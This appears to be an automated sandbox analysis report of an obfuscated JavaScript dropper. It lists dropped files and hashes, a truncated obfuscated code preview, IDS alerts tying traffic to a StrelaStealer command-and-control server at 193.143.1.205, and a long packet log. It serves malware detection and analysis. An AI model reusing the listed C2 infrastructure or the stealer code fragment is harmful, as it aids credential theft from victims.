File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6e87e3bc-72dc-43e4-badf-8ca8d0e32fcd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16759), with CRLF line terminators
Entropy (8bit):	4.9292147746504185
TrID:
File name:	225111419252504808.js
File size:	20'386 bytes
MD5:	7ca989187830a56bd2154e01a8469c36
SHA1:	fa1f8ef3d6692884b6666ca644974e622c0741c5
SHA256:	03ed4d0b0f6e61f173afb5a2005149003e8d140134554b2e53735b6c393cd362
SHA512:	2d0e685c3ddd1b3289b941fd14e8f29d3ad4e9d44c4a9207330d8cbdb852f99cdfaf53ffb085e8960c69e46a1b8274ab47d41af877d642809314d874a312e34c
SSDEEP:	384:xwFAbTFCZfmCZoCZx2UPjWaa/mhkcT3DC72G7i2XGlPLzesOF/nAg0j8WRQYcbBC:2WG2AtKcT3DC2G7i2XGlPLzesOFs
TLSH:	9192404CD74B8FAB85E8597CDA5908E30169A3DF05328069CA829509E59FFC9F4F36F0
File Content Preview:	function noqikln(){pxfzl=[1031,3079,5127,4103,2055,3072];var tpflgtbhs=this[btfiquiz+nqxirnobc+ixyrqltn+wifpf+ixphppa+ayunu+xstkv+wmqtrxfv](this[nyahlrcy+bgbujyb+fkozvkku+ixyrqltn+bfhtan+btfiquiz+wmqtrxfv][qqjdfuuh+ixyrqltn+ixphppa+nqxirnobc+wmqtrxfv+ixph

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:36:26.289364+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T02:36:26.289364+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T02:36:28.810138+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:36:25.476011038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:25.480954885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:25.481066942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:25.483959913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:25.488750935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289195061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289223909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289241076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289252996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289263964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289288998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289328098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289340019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289364100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.289364100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.289393902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289396048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.289405107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.289453983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.294235945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.294249058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.294259071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.294517040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.334822893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.334836960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.335334063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.413449049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413481951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413501978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413520098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413541079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413569927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.413652897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.413707972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413727045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413753033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.413755894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413774967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413798094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.413819075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.413867950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.414581060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.414609909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.414629936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.414648056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.414654016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.414669037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.414706945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.415451050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.415468931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.415488005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.415514946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.415534019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.415539980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.415539980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.415585041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.416203022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.467972994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.468337059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.468364000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.468385935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.468415022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.504836082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.504895926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.537592888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537626982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537643909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537658930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537673950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537678003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.537689924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537704945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.537714958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.537725925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.538009882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538027048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538043022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538043022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.538059950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538070917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.538444042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538459063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538474083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538481951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.538511038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.538592100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538606882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538621902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538638115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.538644075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.538672924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.539278984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539294004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539309025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539334059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.539346933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539361954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539377928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539381981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.539397955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.539413929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.540086985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540103912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540123940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540150881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.540268898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540285110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540297031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.540299892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540316105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.540319920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.540348053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.541004896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541033030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541049004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541070938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.541157007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541172028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541188955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541192055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.541227102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.541250944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541898966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541914940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.541935921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.559894085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.559917927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.559948921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.559957981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.559968948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.559983015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.583090067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.583118916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.583173990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.601139069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.601167917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.601188898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.601196051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.601226091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.629400015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.629432917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.629503012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.661910057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.661953926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.661988974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662004948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662008047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662028074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662041903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662046909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662082911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662087917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662102938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662122011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662138939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662142038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662159920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662179947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662213087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662256002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662266016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662286043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662326097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662612915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662663937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662694931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662705898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662755966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662775040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662794113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662802935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662841082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662861109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.662959099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662977934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.662998915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663007975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663017988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663038015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663042068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663085938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663556099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663639069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663659096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663678885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663701057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663719893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663738012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663739920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663789988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663846970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663866043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663885117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663902044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.663903952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663938999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.663942099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664021015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664060116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664576054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664597034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664614916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664643049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664644003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664661884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664679050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664686918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664696932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664720058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664899111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664916992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664935112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664942026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664952993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.664973021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.664973974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665010929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.665515900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665544987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665579081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665585041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.665597916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665620089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665640116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665642977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.665659904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665678024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.665716887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.665785074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.674490929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.674546003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:36:26.674617052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:36:26.687812090 CET	80	49704	193.143.1.205	192.168.2.8
